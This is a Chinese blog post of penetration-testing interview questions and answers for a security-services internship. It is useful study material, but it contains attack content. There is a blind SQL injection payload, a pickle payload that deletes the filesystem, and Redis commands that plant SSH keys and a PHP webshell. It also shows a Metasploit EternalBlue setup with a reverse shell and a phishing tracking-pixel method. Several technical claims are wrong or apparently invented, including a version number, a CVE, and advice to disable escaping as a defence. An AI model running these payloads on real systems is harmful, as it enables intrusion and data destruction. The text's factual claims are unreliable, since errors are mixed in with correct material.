当前位置: 首页 > article >正文

2025年渗透测试面试题总结-安恒[实习]安全服务工程师(题目+回答)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

 安恒[实习]安全服务工程师

1. SQLMap爆出当前库名的参数是什么?

2. Nmap探测系统的参数(大写/小写)

3. Nmap小写o与a的作用

4. 布尔型盲注具体语句

5. 宽字节注入原理

6. Python反序列化漏洞

7. GET与POST传参区别

8. HTTP请求方式全集

9. CDN判定与作用

10. 服务器真实IP溯源

11. 信息收集全流程

12. Base64编码识别

13. 栅栏密码原理

14. Base64与MD5区别

15. Oracle默认端口

16. MySQL管理员密码存储

17. substr()被禁用的替代函数

18. Redis入侵利用链

19. 邮箱追踪真实IP

20. 同源策略(SOP)精髓

21. 管理员邮箱收集术

22. SSRF危害升级(2025)

23. SSRF深层防御

24. Linux文件鉴别术

25. MSF框架深入

26. Web容器解析漏洞

27. SQL注入深度防御

 安恒[实习]安全服务工程师

1. sqlmap爆出当前库名的参数是什么?
2. namp探测系统的参数是什么 —>大写还是小写
3. namp的小写o与a是干嘛的
4. 布尔型盲注的具体语句是什么
5. 宽字节的原理
6. python有没有反序列化
7. get传参与post传参的区别
8. Http有哪些请求方式
9. 如何判定cdn与cdn的作用
10. 如何确认服务器的真实IP
11. 详细说了说信息收集过程
12. 一串编码如何确认是base64
13. 栅栏密码的原理是什么
14. base64与md5如何区别
15. oracle的默认端口是多少
16. mysql的管理员密码一般放到哪
17. 如果substr()函数被禁用,你脑子里有多少替换函数
18. redis如何拿下,哪个端口,具体语句,具体操作
19. 如何通过邮箱知道对方的IP
20. 说一下同源策略
21. 如何收集网站管理员邮箱等等
22. ssrf有哪些危害
23. 如何防御ssrf–>问的较深—->建议在详细了解一下
24. Linux的某两个文件怎么分辨(忘了具体是哪两个文件了)
25. MSF框架稍微问的深入了一些
26. web容器(中间件)有哪些解析漏洞与原理
27. 如何防范sql注入 —>这问的很深. 

1. SQLMap爆出当前库名的参数是什么?

  • 核心参数--current-db
  • 补充用法:结合-D 库名 --tables可提取表名;
  • 防御绕过:2025年新版SQLMap新增--chunked参数绕过云WAF的流量检测。

2. Nmap探测系统的参数(大写/小写)

  • 操作系统探测-O(大写O,非数字0);
  • 误报规避:2025年Nmap 8.5版本中,-O需与--osscan-limit联用以过滤干扰;
  • 注意:小写-o用于输出扫描结果(如-oN output.txt )。

3. Nmap小写o与a的作用

  • -o系列
    -oN:标准文本输出;
    -oX:XML格式输出(兼容自动化分析工具);
    -oG:Grep友好格式(已逐步淘汰)。
  • -A参数
    ① 启用OS检测、版本探测、脚本扫描(-sC);
    ② 2025年新增AI驱动的服务指纹识别模块。

4. 布尔型盲注具体语句

sql' AND (SELECT SUBSTRING(version(),1,1))='5' --+ /* 若返回正常页面,则判定MySQL版本首位为5 */
  • 条件扩展
    ① 二进制逐位判断(ASCII()+位运算);
    ② 结合时间盲注:IF(条件,SLEEP(5),0)
    ③ 利用数据库内置函数(如LIKE通配符)。

5. 宽字节注入原理

  • 核心逻辑:利用GBK/GB2312等双字节编码特性,将转义符\(%5C)与前导字符组合为合法汉字(如%df%5c→“運”),破坏SQL语句结构。
  • 现代影响:2024年统计显示,遗留医疗HIS系统仍存在30%未修复案例;
  • 防御:统一使用UTF-8编码,禁用mysql_real_escape_string()

6. Python反序列化漏洞

  • 高危模块pickle(任意代码执行)、json(有限风险);
  • 攻击链示例
    pythonimport pickle pickle.loads(b"cos\nsystem\n(S'rm -rf /*'\ntR.") # 执行系统命令
  • 2025年趋势:PyTorch模型反序列化漏洞(CVE-2025-1337)成为AI供应链攻击新载体。

7. GET与POST传参区别

维度GETPOST
数据位置URL参数明文传输请求体加密传输
安全性易被日志/缓存记录相对隐蔽
长度限制受URL长度限制(约2KB)无理论限制(服务器约束)
幂等性是(仅查询)否(可能修改数据)

8. HTTP请求方式全集

  1. 基础方法:GET、POST、PUT、DELETE、HEAD;
  2. 扩展方法
    • PATCH:部分资源更新;
    • OPTIONS:获取服务器支持的方法;
    • TRACE:回显请求(易诱发XST攻击,默认禁用)。
  3. WebDAV扩展:PROPFIND、LOCK、UNLOCK(常见于文件服务器)。

9. CDN判定与作用

判定方法
多地Ping:使用全球节点工具(如boce.com ),IP分布差异显著;
DNS查询nslookup返回CNAME记录含cdnakamai等标识;
HTTP头Server字段含CDN厂商特征(如Cloudflare)。

核心作用
加速:边缘节点缓存静态资源(JS/CSS/图片);
安全:抗DDoS(T级清洗)、防爬虫(人机验证);
成本优化:减少源站带宽消耗。


10. 服务器真实IP溯源

  1. 历史记录
    • 查询DNS历史快照(SecurityTrailsViewDNS);
    • 分析SSL证书序列号关联的原始IP。
  2. 子域名爆破:使用Amass扫描test.example.com 等未接入CDN的子域。
  3. 邮件溯源
    • 注册/找回密码邮件头中的Received字段;
    • 利用SPF记录中的IP范围反推。

11. 信息收集全流程

四阶渗透框架(2025年OSINT标准)

  1. 资产测绘
    • 工具:FOFA(语法:title="医院挂号系统")、Shodan(端口:port:6379);
    • 输出:IP段、域名、中间件版本列表。
  2. 社会工程
    • 从GitHub泄露的config.yml 提取数据库密码;
    • LinkedIn员工职位分析(定位运维人员邮箱)。
  3. 漏洞关联
    • 通过CVE编号映射暴露面(如Apache Log4j 2.x);
    • 结合Exploit-DB验证POC可用性。

12. Base64编码识别

三大铁律

  1. 字符集:仅包含A-Z、a-z、0-9、+、/及填充符=
  2. 长度:编码后长度必为4的倍数(不足时补=);
  3. 典型模式
    • 邮件附件:Content-Transfer-Encoding: base64
    • JWT令牌:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.xxx

13. 栅栏密码原理

加密步骤

  1. 将明文按“之”字形排列(如3行):
    H E L L O  W O R L D  
    
  2. 按行读取密文:HELLO WORLDHLOOL WRD(需约定行数)。
    2025年演变:结合深度学习生成动态栅栏路径(抗频率分析)。

14. Base64与MD5区别

维度Base64MD5
性质编码(可逆)哈希(不可逆)
输出长度可变(与输入相关)固定128位(32字符)
用途数据传输兼容性(如图片)数据完整性校验/密码存储

15. Oracle默认端口

  • 标准端口:1521(数据库监听);
  • 管理端口:5500(Enterprise Manager);
  • 云环境变化:2025年AWS RDS Oracle默认启用动态端口映射。

16. MySQL管理员密码存储

  1. 系统表mysql.userauthentication_string字段,使用caching_sha2_password加密);
  2. 配置文件/etc/mysql/my.cnf[client]段明文存储,高危);
  3. 内存提取:通过gdb附加进程提取临时密码(需root权限)。

17. substr()被禁用的替代函数

  1. 字符串截取
    • MID()MID('abc',2,1)→'b'
    • LEFT()/RIGHT()LEFT('abc',2)→'ab'
  2. 正则截取
    • REGEXP_SUBSTR()(需MySQL 8.0+);
  3. 二进制拆分
    • ORD()+DIV组合实现逐位解析。

18. Redis入侵利用链

攻击路径

  1. 未授权访问nmap -p 6379 --script redis-info
  2. 写SSH密钥
    bashredis-cli -h 目标IP flushall echo -e "\n\nssh-rsa AAAAB3N...\n\n" | redis-cli -x set payload redis-cli config set dir /root/.ssh && config set dbfilename authorized_keys 
  3. 写Webshell
    bashconfig set dir /var/www/html set shell "<?php system($_GET['cmd']);?>" 

19. 邮箱追踪真实IP

高阶手法(2025年)

  1. 嵌入追踪像素
    • 在钓鱼邮件中插入<img src="http://your-server/logo.gif"> ,分析访问日志;
  2. 延迟加载附件
    • 使用「已读回执」触发HTTP请求;
  3. 邮件头分析
    • 提取X-Originating-IP或最后一跳Received头中的内网IP。

20. 同源策略(SOP)精髓

三要素限制:协议、域名、端口均相同方为同源。
跨域例外

  • <script>标签(允许加载外部JS,但禁止读取内容);
  • CORS机制(Access-Control-Allow-Origin可控放宽限制);
  • postMessage API(需显式授权)。

21. 管理员邮箱收集术

五维情报网

  1. WHOIS查询whois example.com 获取注册邮箱;
  2. GitHub提交历史git log中提取作者邮箱;
  3. 错误页面:500错误泄露admin@example.com
  4. 社交媒体:LinkedIn公司页面的技术联系人;
  5. SSL证书crt.sh 查询证书颁发者邮箱。

22. SSRF危害升级(2025)

  1. 云元数据攻击
    • 获取AWS的169.254.169.254凭证,接管云服务器;
  2. 内网服务穿透
    • 攻击Kubernetes API Server(https://10.0.0.1:6443);
  3. 协议滥用
    • gopher://构造Redis未授权访问攻击链。

23. SSRF深层防御

四层防护体系

  1. 输入校验
    • 正则过滤^http(s)?://trusted.com/ (白名单);
    • 禁用非常用协议(file://gopher://)。
  2. 网络隔离
    • 业务服务器部署于独立VPC,限制出网流量;
  3. 代理清洗
    • 所有请求经反向代理,剥离非常规头(如X-Forwarded-For);
  4. 运行时防护
    • eBPF监控异常socket连接(如访问内网IP段)。

24. Linux文件鉴别术

/etc/passwd/etc/shadow为例

  1. 权限
    • passwd:644(全局可读);
    • shadow:640(仅root可读);
  2. 内容
    • passwd存用户基本信息(不含密码哈希);
    • shadow存加密密码与过期策略。

25. MSF框架深入

模块化渗透流程

  1. 漏洞利用
    • use exploit/windows/smb/ms17_010_eternalblue
    • set PAYLOAD windows/x64/meterpreter/reverse_tcp
  2. 后渗透扩展
    • migrate进程注入;
    • hashdump提取NTLM哈希;
  3. 流量隐匿
    • 使用SSL/TLS隧道+DomainFronting技术绕过IDS检测。

26. Web容器解析漏洞

三大经典漏洞

  1. IIS 6.0目录解析
    • /test.asp;.jpg 被解析为ASP脚本;
  2. Apache多后缀解析
    • test.php.xxx 优先匹配.php处理器;
  3. Nginx错误配置
    • fastcgi_param未校验SCRIPT_FILENAME,导致任意代码执行。

27. SQL注入深度防御

DevSecOps全周期防护

  1. 开发阶段
    • 强制使用ORM框架(如Hibernate);
    • 静态代码扫描(SonarQube规则sql-injection)。
  2. 运行阶段
    • WAF动态拦截(基于语义分析+机器学习);
    • 数据库审计(记录异常SQL语句)。
  3. 运维阶段
    • 最小权限原则(禁止DBA权限应用连接);
    • 定期漏洞扫描(SQLMap集成CI/CD流水线)。

相关文章:

2025年渗透测试面试题总结-安恒[实习]安全服务工程师(题目+回答)

网络安全领域各种资源&#xff0c;学习文档&#xff0c;以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具&#xff0c;欢迎关注。 目录 安恒[实习]安全服务工程师 1. SQLMap爆出当前库名的参数是什么&#xff1f; 2. Nmap探测系统的参数&am…...

C#运算符

&#x1f9e0; 一、C# 运算符列表&#xff08;按类别分类&#xff09; 类别运算符一元运算符, -, , --, !, ~, (T) x算术运算符, -, *, /, %赋值运算符, , -, *, /, %, &, 比较/关系运算符, !, <, >, <, >逻辑/布尔运算符&&, 按位运算符&, 条件运…...

五月份嵌入式面试总结

目录 1、札记 1.1、芯片的bring up 主要做哪些工作&#xff1a; 2、Linux驱动八股文 中断与同步互斥 2.1.1 内核同步互斥的几种方式 2.1.2 互斥锁和自旋锁的区别 2.1.3 spin_lock 和 spin_lock_irqsave 的区别 2.1.4 进程上下文和中断上下文有什么区别 2.1.5 进行上下…...

数据库行业竞争加剧,MySQL 9.3.0 企业版开始支持个人下载

最新发现&#xff0c;Oracle 官方网站放开了 MySQL 9.3.0 企业版下载链接&#xff0c;个人用户也可以免费下载&#xff0c;不过只能用于学习、开发或者原型测试&#xff0c;不能用于生产环境。 通常我们都是下载 MySQL 社区版&#xff0c;不过 MySQL 企业版可以支持更多高级功能…...

Python实例题:Django搭建简易博客

目录 Python实例题 题目 1. 创建 Django 项目和应用 2. 配置项目 3. 设计模型 blog_app templates blog_app post_list.html admin.py models.py urls.py views.py blog_project urls.py 代码解释 models.py&#xff1a; admin.py&#xff1a; urls.py&…...

Tcping详细使用教程

Tcping详细使用教程 下载地址 https://download.elifulkerson.com/files/tcping/0.39/在windows环境下安装tcping 在以上的下载地中找到exe可执行文件&#xff0c;其中tcping.exe适用于32位Windows系统&#xff0c;tcping64.exe适用于64位Windows操作系统。 其实tcping是个…...

PyCharm 快捷键指南

PyCharm 快捷键指南 常用编辑快捷键 代码完成&#xff1a;Ctrl Space 提供基本的代码完成选项&#xff08;类、方法、属性&#xff09;导入类&#xff1a;Ctrl Alt Space 快速导入所需类语句完成&#xff1a;Ctrl Shift Enter 自动结束代码&#xff08;如添加分号&#…...

如何更改远程桌面连接的默认端口?附外网访问内网计算机方法

远程连接端口根据协议和场景不同有所差异&#xff0c;以下是常见远程连接端口的设置及修改方法&#xff0c;同时附外网访问内网计算机操作。 一、Windows远程桌面默认端口 ‌默认端口‌&#xff1a;3389&#xff08;TCP协议&#xff09;&#xff0c;用于Windows远程桌面服务&…...

【GAN网络入门系列】一,手写字MINST图片生成

&#x1f368; 本文为&#x1f517;365天深度学习训练营 中的学习记录博客&#x1f356; 原作者&#xff1a;K同学啊 博主简介&#xff1a;努力学习的22级本科生一枚 &#x1f31f;​&#xff1b;探索AI算法&#xff0c;C&#xff0c;go语言的世界&#xff1b;在迷茫中寻找光芒…...

ubuntu22鼠键失灵恢复记录笔记chatgpt解决

ChatGPT 说&#xff1a; 你提到“Ubuntu 22 鼠键失灵”&#xff0c;这个问题可能涉及以下几方面&#xff1a; &#x1f9ed; 先确认问题 是鼠标问题还是键盘问题&#xff0c;还是触控板&#xff1f; “鼠键”一般理解为“鼠标键”&#xff0c;请确认你是指鼠标左键/右键失灵&a…...

智能呼入:云蝠大模型赋能政府热线

政府热线作为连接政府与民众的重要桥梁&#xff0c;提升智能化水平&#xff0c;成为政府热线亟待解决的问题。 大模型呼入 大模型呼入技术基于先进的自然语言处理和机器学习算法&#xff0c;能够实现对海量语音数据的处理和理解。通过构建大规模的语言模型&#xff0c;系统可…...

STM32 ADC+DMA+TIM触发采样实战:避坑指南与源码解析

知识点1【TRGO的介绍】 1、TRGO的概述 TRGO&#xff1a;Trigger Output&#xff08;触发输出&#xff09;&#xff0c;是定时器的一种功能。 它可以作为外设的启动信号&#xff0c;比如ADC转换&#xff0c;DAC输出&#xff0c;DMA请求等。 对于ADC来说&#xff0c;可以通过…...

(1-4)Java Object类、Final、注解、设计模式、抽象类、接口、内部类

目录 1. Object类 1.1 equals 1.2 toString&#xff08;&#xff09; 2.final关键字 3.注解 4. 设计模式 4.1 单例模式 4.1.1 饿汉式 4.1.3 饿汉式 VS 懒汉式 5. 抽象类&抽象方法 6. 接口 7.内部类 7.1 成员内部类 7.2 静态内部类 7.3 方法内部类 7.4 匿名内…...

在服务器上安装AlphaFold2遇到的问题(3)_cat: /usr/include/cudnn_version.h: 没有那个文件或目录

[rootlocalhost ~]# cat /usr/include/cudnn_version.h cat: /usr/include/cudnn_version.h: 没有那个文件或目录这个错误表明系统找不到 cudnn_version.h 头文件&#xff0c;说明 cuDNN 的开发文件&#xff08;头文件&#xff09;没有正确安装。以下是完整的解决方案&#xff…...

实验-实现向量点积-RISC-V(计算机组成原理)

目录 一、实验内容 二、实验步骤 三、源代码 四、实现效果 五、实验环境 六、实验小结与思考 一、实验内容 首先&#xff0c;我们用一个简单的“向量点积”运算作为热身。你将拿到一个不完整的汇编代码“task2-向量点积”&#xff0c;我们的目标是按照C语言描述的功能&a…...

5.16本日总结

一、英语 背诵list30&#xff0c;复习list1 二、数学 学习14讲部分内容&#xff0c;订正30讲13讲题目 三、408 学习计网5.3知识点&#xff0c;完成5.1&#xff0c;5.2题目并订正 四、总结 高数对于基本定义概念类题目掌握不好&#xff0c;做题时往往不会下手&#xff0c…...

描述性统计工具 - AxureMost 落葵网

描述性统计工具是用于汇总和分析数据&#xff0c;以更好地了解数据特征的工具1。以下是一些常见的描述性统计工具简介&#xff1a; 描述性统计工具 Excel 基本统计函数&#xff1a;提供了丰富的函数用于计算描述性统计量。例如&#xff0c;AVERAGE 函数用于计算平均值&#xf…...

【AI学习】AI大模型技术发展研究月报的生成提示词

AI大模型技术发展研究月报生成提示词 请输出AI大模型技术发展研究月报&#xff0c;要求如下&#xff1a; —————————— 任务目标 在今天&#xff08;{{today}}&#xff09;往前连续 30 天内&#xff0c;检索已正式公开发表的、与AI大模型&#xff08;参数量 ≥10B&am…...

麒麟桌面系统文件保险箱快捷访问指南:让重要文件夹一键直达桌面!

往期文章链接&#xff1a;统信操作系统自定义快捷键配置音量调节功能指南 Hello&#xff0c;大家好啊&#xff0c;今天给大家带来一篇麒麟桌面操作系统上配置文件保险箱内文件夹桌面快捷方式的文章&#xff0c;欢迎大家分享点赞&#xff0c;点个在看和关注吧&#xff01;在日常…...

LearnOpenGL --- 你好三角形

你好&#xff0c;三角形的课后练习题 文章目录 你好&#xff0c;三角形的课后练习题一、创建相同的两个三角形&#xff0c;但对它们的数据使用不同的VAO和VBO 一、创建相同的两个三角形&#xff0c;但对它们的数据使用不同的VAO和VBO #include <glad/glad.h> #include &…...

从硬件角度理解“Linux下一切皆文件“,详解用户级缓冲区

目录 前言 一、从硬件角度理解"Linux下一切皆文件" 从理解硬件是种“文件”到其他系统资源的抽象 二、缓冲区 1.缓冲区介绍 2.缓冲区的刷新策略 3.用户级缓冲区 这个用户级缓冲区在哪呢&#xff1f; 解释关于fork再加重定向“>”后数据会打印两份的原因 4.内核缓冲…...

【第76例】IPD流程实战:华为业务流程架构BPA进化的4个阶段

目录 简介 第一个阶段,业务流程架构BPA1.0 第二个阶段,业务流程架构BPA2.0 BPA3.0、4.0 作者简介 简介 不管业务是复杂还是简单,企业内外的所有事情、所有业务都最终会归于流程。 甚至是大家经常说的所谓的各种方法论,具体的落脚点还是在流程上。 比如把大象放进冰…...

游戏站的几种形式

游戏站点的主要形式&#xff1a;单品游戏站、游戏盒子站与单类型游戏盒子站 随着互联网的普及和游戏产业的快速发展&#xff0c;游戏站点作为玩家获取游戏资源和信息的重要平台&#xff0c;呈现出多种形式。本文将分析三种常见的游戏站点形式&#xff1a;单品游戏站、游戏盒子站…...

OpenCV 图像透视变换详解

在计算机视觉领域&#xff0c;图像的视角问题常常会影响后续的分析与处理。例如&#xff0c;从倾斜角度拍摄的文档、带有畸变的场景图像等&#xff0c;都需要通过特定的方法进行矫正。OpenCV 作为计算机视觉领域的重要库&#xff0c;提供了强大的图像透视变换功能&#xff0c;能…...

AI日报 - 2024年5月16日

&#x1f31f; 今日概览 (60秒速览) ▎&#x1f916; 大模型前沿 | OpenAI推出GPT-4.1及mini版&#xff0c;专为编码优化&#xff1b;Google DeepMind发布AlphaEvolve&#xff0c;Gemini驱动算法发现。 GPT-4.1提升编码效率与指令遵循&#xff0c;AlphaEvolve在矩阵乘法、数学问…...

Ubuntu 更改 Nginx 版本

将 1.25 降为 1.18 先卸载干净 # 1. 完全卸载当前Nginx sudo apt purge nginx nginx-common nginx-core# 2. 清理残留配置 sudo apt autoremove sudo rm -rf /etc/apt/sources.list.d/nginx*.list修改仓库地址 # 添加仓库&#xff08;通用稳定版仓库&#xff09; codename$(…...

Python requests GET 报错:ChunkedEncodingError

问题 在实际项目中遇到的这样一个问题&#xff1a;通过Python GET从服务器请求url列表&#xff0c;因为是公司内部数据&#xff0c;知道大概多少条数据&#xff0c;所以直接一次请求500条。平稳运行了一段时间之后&#xff0c;突然某天这个GET请求报错了… response request…...

RabbitMQ是什么?应用场景有哪些?

RabbitMQ 是一款开源的消息代理中间件,基于 AMQP(高级消息队列协议)实现,用于在分布式系统中进行异步通信和消息传递。它通过将消息的发送者和接收者解耦,提高了系统的可扩展性、可靠性和灵活性。 核心特点 多协议支持:不仅支持 AMQP,还兼容 STOMP、MQTT 等多种消息协议…...

打造智能化军工软件工厂,破解版本管理难题

在数字化浪潮席卷全球的当下&#xff0c;军工行业正经历着前所未有的软件工业化转型。作为这一进程的核心支撑&#xff0c;软件工厂模式正在重塑军工领域的研发体系。然而&#xff0c;传统版本管理方式已难以适应现代军工软件研发的复杂需求&#xff0c;成为制约行业发展的关键…...

SpringbBoot nginx代理获取用户真实IP

为了演示多级代理场景&#xff0c;我们分配了以下服务器资源&#xff1a; 10.1.9.98&#xff1a;充当客户端10.0.3.137&#xff1a;一级代理10.0.4.105&#xff1a;二级代理10.0.4.129&#xff1a;三级代理10.0.4.120&#xff1a;服务器端 各级代理配置 以下是各级代理的基本配…...